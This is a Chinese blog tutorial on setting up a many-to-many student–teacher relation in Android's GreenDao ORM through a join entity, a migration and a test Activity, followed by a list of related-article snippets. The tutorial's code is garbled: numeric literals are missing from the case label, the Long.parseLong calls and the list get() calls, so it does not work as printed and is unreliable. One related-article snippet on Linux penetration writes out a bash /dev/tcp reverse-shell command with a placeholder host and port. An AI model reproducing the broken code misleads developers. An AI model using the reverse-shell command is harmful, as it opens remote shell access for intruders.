GreenDao的简单使用说明(五)多表n:m
在设计一些比较复杂的数据库结构的时候,我们会遇到表之间是n:m的关系,就是常说的多对多的关系,最常用的情况,就是用户权限这块,日常最常见的就是学生与老师的关系了,哪么我们来看一下GreenDao中如何实现这层关系呢。
在GreenDao中其实是没有多对多这个关系,也就是它不支持这种关系,但是呢,我们可以自己去定义和设计一下。我们来看代码。
一,MyDaoGenerator.java文件中添加学生,老师,学生老师关联表
Entity studentBean = schema.addEntity("Students");
studentBean.implementsSerializable();
studentBean.addIdProperty();
studentBean.addStringProperty("stuName");
studentBean.addStringProperty("stuSex");
Entity teacherBean = schema.addEntity("Teachers");
teacherBean.implementsSerializable();
teacherBean.addIdProperty();
teacherBean.addStringProperty("teaName");
teacherBean.addStringProperty("teaSex");
Entity stuAndteaBean = schema.addEntity("stuAndtea");
Property studentId = stuAndteaBean.addLongProperty("studentId").getProperty();
Property teacherId = stuAndteaBean.addLongProperty("teacherId").getProperty();
//这里其实很简单,就是建立两个1:n的关系
stuAndteaBean.addToOne(studentBean,studentId).setName("onestu");
stuAndteaBean.addToOne(teacherBean,teacherId).setName("onetea");
studentBean.addToMany(stuAndteaBean,studentId).setName("manystu");
teacherBean.addToMany(stuAndteaBean,teacherId).setName("manytea");
很简单吧,来改一下版本号,Schema schema = new Schema(5, "greendao");
二,gradle面板运行MyDaoGenerator,生成相应的bean文件和操作dao文件
三,修改我们的THDevOpenHelper.java文件
@Override
public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {
switch (oldVersion) {
case :
//创建新表,注意createTable()是静态方法
//infosDao.createTable(db, true);
//infoTypeDao.createTable(db,true);
//AreasDao.createTable(db,true); StudentsDao.createTable(db,true);
TeachersDao.createTable(db,true);
stuAndteaDao.createTable(db,true); // 加入新字段
// db.execSQL("ALTER TABLE 'moments' ADD 'audio_path' TEXT;"); // TODO
break;
}
}
四,测试一下我们的功能是不是好用,这里我就使用了,最简单的几行代码。
package com.example.cg.greendaolearn; import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.widget.TextView; import com.example.cg.greendaolearn.db.DbService; import greendao.Students;
import greendao.Teachers;
import greendao.stuAndtea; public class manyActivity extends AppCompatActivity { private DbService db;
private TextView txt_many_info; @Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_many); db = DbService.getInstance(this); txt_many_info = (TextView)findViewById(R.id.txt_many_info); Students stu = new Students();
stu.setStuName("小明");
stu.setStuSex("男");
db.saveStudent(stu); Teachers tea = new Teachers();
tea.setTeaName("小何");
tea.setTeaSex("女");
db.saveTeacher(tea); stuAndtea st = new stuAndtea();
st.setStudentId(Long.parseLong(""));
st.setTeacherId(Long.parseLong(""));
db.saveStuAndTea(st); txt_many_info.setText(db.getStudentList().get().getStuName() + "--" +
db.getStudentList().get().getManystu().get().getOnetea().getTeaName());
}
}
运行结果,你会发现,我们把学生和老师都打印出来了
GreenDao的简单使用说明(五)多表n:m的更多相关文章
- Oracle 中 union 和union all 的简单使用说明
1.刚刚工作不久,经常接触oracle,但是对oracle很多东西都不是很熟.今天我们来了解一下union和union all的简单使用说明.Union(union all): 指令的目的是将两个 S ...
- Django学习笔记(五)—— 表单
疯狂的暑假学习之 Django学习笔记(五)-- 表单 參考:<The Django Book> 第7章 1. HttpRequest对象的信息 request.path ...
- ORACLE 五种表的优缺点总结
ORACLE 五种表的优缺点总结: 1.普通表(heap table):适合大部分设计场景,有长处也有缺点. 长处: a,语法简单方便 b,适合大部分场景 缺点: a,更新日志开销较大 b,Delet ...
- PHP简单利用token防止表单重复提交
<?php /* * PHP简单利用token防止表单重复提交 * 此处理方法纯粹是为了给初学者参考 */ session_start(); function set_token() { $_S ...
- 简单的哈希表实现 C语言
简单的哈希表实现 简单的哈希表实现 原理 哈希表和节点数据结构的定义 初始化和释放哈希表 哈希散列算法 辅助函数strDup 哈希表的插入和修改 哈希表中查找 哈希表元素的移除 哈希表打印 测试一下 ...
- struts 标签<s:ierator>的简单使用说明
struts 标签<s:ierator>的简单使用说明,只显示<s:ierator> 的前6条数据 <s:iterator value="lstVisitor& ...
- 利用js的for循环实现一个简单的“九九乘法表”
For循环九九乘法表 for循环是javascript中一种常用的循环语句,可以很好的解决在程序中需要重复执行某些语句,利用for循环实现简单的“九九乘法表”的效果: 让循环从小到大,依次排序,并计算 ...
- Spring依赖注入 --- 简单使用说明
Spring依赖注入 --- 简单使用说明 本文将对spring依赖注入的使用做简单的说明,enjoy your time! 1.使用Spring提供的依赖注入 对spring依赖注入的实现方法感兴趣 ...
- PHP简单利用token防止表单重复提交(转)
<?php/* * PHP简单利用token防止表单重复提交 */function set_token() { $_SESSION['token'] = md5(microtime(true)) ...
随机推荐
- jdbc代码
1.jdbcutiul的代码, package gz.itcast.util; import java.io.InputStream; import java.sql.Connection; impo ...
- request.getSession()方法的应用
request.getSession(true):若存在会话则返回该会话,否则新建一个会话. request.getSession(false):若存在会话则返回该会话,否则返回NULL
- linux 安装SSH Server + FTP Server(openssh-server + vsftp)
openssh-server (推荐. 一般ssh,ftp 都是单独的,但是这个包含2个) 默认ubuntu 已经安装了, ssh client ,ftp client dpkg -l | grep ...
- Oracle 11g R2安装手册(…
1.Oracle 11g R2安装手册(图文教程)For Windows 1.下载Oracle 11g R2 for Windows版本,下载地址如下官方网站:http://download.orac ...
- (十四)hibernate逆向工程
一.hibernate逆向工程生成实体 介绍一个模型设计工具PowerDesigner,这个是j2ee开发必要的一个工具.一般在开发中先使用PowerDesigner 创建实体关系图即概念模型.建立了 ...
- 下拉选择select和复选框checkbox的状态的各种方式
复选框的状态 <input name="ck" value=" " type="checkbox" checked> 或者&l ...
- 13. linux渗透之反弹shell
实验环境 CentOS 6.5:192.168.0.3 kali2.0:192.168.0.4 方法1: 反弹shell命令如下: bash -i >& /dev/tcp/ip/port ...
- 安装完SAP后BASIS的配置流程
安装完SAP后BASIS配置流程 安装完SAP后,配置流程. 1.升级kernel. 2.TCD SLICENSE: License Administration install > Syste ...
- 2017-9-9 NOIP模拟赛
站军姿 2bc*cosA=b^2+c^2-a^2 #include<cstdio> #include<cstdlib> #include<cmath> #inclu ...
- 洛谷 P2731 骑马修栅栏 Riding the Fences
P2731 骑马修栅栏 Riding the Fences 题目背景 Farmer John每年有很多栅栏要修理.他总是骑着马穿过每一个栅栏并修复它破损的地方. 题目描述 John是一个与其他农民一样 ...